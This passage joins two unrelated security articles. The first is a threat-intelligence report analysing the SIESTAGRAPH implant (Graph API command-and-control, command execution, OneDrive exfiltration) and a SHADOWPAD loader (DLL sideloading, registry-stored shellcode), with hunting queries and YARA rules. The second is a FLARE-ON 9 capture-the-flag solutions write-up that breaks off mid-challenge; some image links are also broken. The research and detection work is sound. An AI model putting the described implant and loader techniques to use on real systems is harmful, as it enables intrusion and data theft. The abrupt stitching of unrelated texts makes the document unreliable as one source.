Refresh tokens have a 90-day expiration window. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.

Command and control

A session token ( sessionToken ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.

After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called sendSession.

Inspecting the sendSession method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.

After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.

When receiving a command, the implant will use the getMessages method to check for any draft emails with commands from the attacker.

With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( authToken ). This token is then used in the HTTP request header following the Authorization: Bearer ( “Authorization”, “Bearer “ + authToken ).

Every call to this method will contain the sessionToken , a command, and command arguments, separated with colons ( : ) ( <sessionToken>:<Command>:<command arguments> ).

If a command has multiple arguments they will be split by a pipe ( | ). An example of this is the rename command where the source and destination names are split by a pipe.

We have identified the following commands:

Several commands are self-explanatory ( ListDrives , Rename , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.

C - run command

When the C command is received the malware runs the runCommand method. This method takes in the name of cmd.exe , the command line to run, and the number of milliseconds to wait for the new process to exit.

If the command parameter is not null or empty, the method proceeds to create a new instance of the System.Diagnostics.Process class, which is used to start and interact with a new process. It sets the properties of the process instance's StartInfo property, which is of the ProcessStartInfo class, such as the FileName property to the cmd parameter passed to the method, the Arguments property to /c concatenated with the command parameter, and also sets UseShellExecute , RedirectStandardInput , RedirectStandardOutput , RedirectStandardError, and CreateNoWindow property. As this method is only called with the hard coded value of cmd for the cmd parameter, the resulting command will always be cmd /c <command to run>. This is a common way to run commands if one does not have direct access to an interactive shell.

![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

N - Sleep timer update

The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the SleepTimer variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.

D - Upload to OneDrive

The D command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive

The method receives a filePath , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format OK|C:\foo\file.txt.

If the upload did not succeed the attacker will receive the error message OK|<Error message>.

While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the exported Exchange mailboxes were collected by the threat actor.

U - Download from OneDrive

The download function is similar to the upload function. Again, from the attacker's perspective, the U command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.

NET - Gather network information

The NET command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, Ws2_32.dll (the Windows socket API) and iphlpapi.dll (the Windows IP helper API).

The NET command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.

SS - Take screenshot

To see the victim's desktop, SIESTAGRAPH can call the method named TakeScreenShot which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.

This function creates a new Bitmap object with the width and height of the primary screen's bounds. Then it creates a new Graphics object from the Bitmap object and uses the CopyFromScreen function to take a screenshot and copy it to the Graphics object.

It then creates a new MemoryStream object and uses the Save method of the Bitmap object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the Convert.ToBase64String method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.

SIESTAGRAPH Summary

SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.

SHADOWPAD loader code analysis

Introduction to log.dll

When Elastic Security Labs disclosed REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the SHADOWPAD malware family.

The DLL, log.dll , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: BDReinit.exe ), named 13802 AR.exe (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as svchost.exe before installing itself as a service. Once log.dll is loaded, it will spawn Microsoft Windows Media Player ( wmplayer.exe ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.

At runtime, log.dll looks for the log.dll.dat file which contains the shellcode to be executed. Then log.dll will encrypt and store the shellcode in the registry and shred the original log.dll.dat file. If the file doesn’t exist it will skip this part.

Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.

Execution flow

Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender BDReinit.exe binary. The offset to the trampoline (jump instructions) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd ). This side-loading behavior was previously reported by Positive Technologies.

For our analysis, we patched log.dll to execute without the BitDefender sideloading requirement.

Capabilities

Obfuscation

The log.dll uses two lure functions to bypass automatic analysis.

We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.

log.dll incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.

This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.

The resolver function of each call resolves the address of the next gadget and passes execution.

The obfuscation pattern is simple and a trace can be used to recover the original instructions:

**result = []
for i, x in enumerate(trace):
 if "ret" in x:
 result.append(trace[i + 1])**

API loading

The sample uses the common Ldr crawling technique to find the address of kernel32.dll.

Next, log.dll parses the exports of kernel32.dll to get the address of the LoadLibraryA and GetProcAddress functions. It uses GetProcAddress to resolve imports as needed.

Persistence

The sample expects to find a file called log.dll.dat in its root directory using the FindFirstFile and FindNextFile APIs. Once log.dll.dat is located, it is loaded, encrypted, and stored in the registry under the HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\} registry value.

This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.

Once the contents of log.dll.dat have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.

Shellcode

To execute the shellcode the sample will allocate an RWX-protected memory region using the VirtualAlloc Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.

Other SHADOWPAD research

While researching shared code and techniques, Elastic Security Labs identified a publication from SecureWorks’ CTU that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, log.dll.dat , which is consistent with our observations. The team at Positive Technologies ETC also published detailed research on SHADOWPAD which aligns with our research.

SHADOWPAD Summary

SHADOWPAD is a malware family that SecureWorks CTU has associated with the BRONZE UNIVERSITY threat group and Positive Technologies ETC has associated with the Winnti group.

Campaign and adversary modeling

Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.

We identified significant overlaps in the work of Positive Technologies ETC and SecureWorks CTU while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.

In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.

1. Winnti - reported by Positive Technologies, January 2021
2. Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022
3. REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022
4. Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022

Winnti

In January of 2021, the team at Positive Technologies ETC published research that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names log.dll and log.dll.dat and using the same sample of BitDefender we observed as a DLL injection vehicle.

While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.

Undisclosed REF, Winnti

In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the Winnti Group. We continue to track this intrusion set, independently of and in relation to REF2924 observations.

REF2924, ChamelGang, Winnti

In early December 2022, we observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).

In researching the events of REF2924, we believe they are consistent with details noted by Positive Technologies' research into ChamelGang, and likely represent the actions of one group with shared goals.

Undisclosed REF, ChamelGang

Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.

Campaign associations

Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.

We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.

To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.

We’ll discuss notable (non-exhaustive) overlaps in the following section.

Campaigns 1 and 3

Campaigns 1 (Winnti) and 3 (REF2924, ChamelGang, Winnti) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( log.dll and log.dll.dat ), and the injection technique using the same BitDefender hash.

Campaigns 3 and 4

Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.

Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).

While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.

Summary

DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.

SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.

Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.

SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.

The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.

Detections

Hunting queries

Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.

The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.

dns.question.name : "graph.microsoft.com" and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : "Microsoft Windows" or process.code_signature.subject_name : "Microsoft Windows Publisher" or process.code_signature.subject_name : "Microsoft Corporation")) and process.name : *

Signatures

• Windows.Trojan.DoorMe
• Windows.Trojan.SiestaGraph
• Windows.Trojan.ShadowPad

YARA rules

The DOORME IIS module

rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        license = "Elastic License v2"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

The SIESTAGRAPH implant

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "windows"
        arch_context = "x86"
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = "Windows.Trojan.SiestaGraph"
        license = "Elastic License v2"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}

The SHADOWPAD malware family

rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-23"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD obfuscation loader+payload"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "ShadowPad"
		threat_name = "Windows.Trojan.ShadowPad"
		license = "Elastic License v2"
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-31"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD loader"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "Shadowpad"
		threat_name = "Windows.Trojan.Shadowpad"
		license = "Elastic License v2"
	strings:
		$a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-31"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD payload"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "Shadowpad"
		threat_name = "Windows.Trojan.Shadowpad"
		license = "Elastic License v2"
	strings:
		$a1 = "hH#whH#w" fullword
		$a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv<Yuvb#tv1Yuv-8tv&Yuv" fullword
		$a3 = "pH#wpH#w" fullword
		$a4 = "HH#wHH#wA" fullword
		$a5 = "xH#wxH#w:$" fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}

References

• https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
• https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
• https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
• https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
• https://www.secureworks.com/research/shadowpad-malware-analysis
• https://www.secureworks.com/research/threat-profiles/bronze-university
• https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
• https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

Indicators

Artifacts are available from the previously published REF2924 research.

To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant FLARE-ON Challenge. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.

Challenge 1 - “Flaredle”

Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: http://flare-on.com/flaredle/

Solution

After downloading and unpacking the file, we see 4 file objects.

The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.

On line 9 the value of rightGuessString translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".

By visiting the online game and submitting this string, we can validate the correct flag for challenge one!

Flag: flareonisallaboutcats@flare-on.com

Challenge 2 - “Pixel Poker”

I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?

Solution

This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.

The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.

The first result from our search is listed with instructions: cmp eax, 10. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.

By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.

In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.

After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.

The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.

For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.

Two minutes and about 100,000 clicks later, the flag was released to us.

*Flag: *_w1nN3r_W!NneRcHick3n_d1nNer@flare-on.com

Challenge 3 - “Magic 8 Ball”

You got a question? Ask the 8 ball!

Solution

This challenge appeared to be an interactive 8-ball game developed with an open source SDL library. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.

The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).

Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.

One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.

Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the Konami code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).

By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.

Flag: UcRackeD_th1$_maG1cBaLL!! _@flare-on.com

Challenge 4 - “darn_mice”

"If it crashes it's user error." -Flare Team

Solution

The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.

After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.

In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.

arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])

Using the current input we can retrieve the flag.

Flag: iw0uld_l1k3_to_RETurn_thisjoke@flare-on.com

Challenge 5 - “T8”

FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?

Solution

For this challenge, we’ve been provided with a PCAP in addition to a binary.

PCAP file overview

The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.

Binary overview

This binary appears to be written in C++ or implement classes in a similar way.

If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.

Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.

The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.

Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9<5DIGITS>”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.

Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.

Flag: is33you_m00n@flare-on.com

Challenge 6 - “à la mode”

FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!

Solution

This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.

The chat log offers a clue that another (missing) component may interact with the DLL.

Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.

Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.

Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.

After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.

This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.

With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.

Flag: M1x3dM0dE4_l1f3@flare-on.com

Challenge 7 - “anode”

You've made it so far! I can't believe it! And so many people are ahead of you!

Solution

This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

Conveniently (but not helpfully), we see it when we search strings.

We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.

This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.

That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.

Curiously, when submitting the same bad flag using the packed binary, the error is different.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

If we comment the condition out to bypass that validation, we get another new error.

Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.

And the result of that state machine operation is evaluated against the correct flag.

But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.

We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.

We also dump the sequence of states using the same method.

Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.

We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the pyesprima frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).

Next, we then visit the AST and collect each subtree associated to a switch case node.

For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.

Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.

Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.

But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!

There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is > 0 and if(xn) always returns false if the number contains a zero!

So with this in mind, we fixed the predicates in the script before running the deobfuscator again.

This looks like our obfuscated script.

Let’s reverse this obfuscation.

The final inverted script with “target” as the initial flag looks like this:

Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.

Running the script ends up producing an array.

Flag: n0tju5t_A_j4vaSCriP7ch4l1eng3@flare-on.com

Challenge 8 - “Backdoor”

I'm such a backdoor, decompile me why don't you…

Solution

This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.

We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

But when we turned to look at their flared_yy counterparts, something's not quite right.

In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.

Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.

The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.

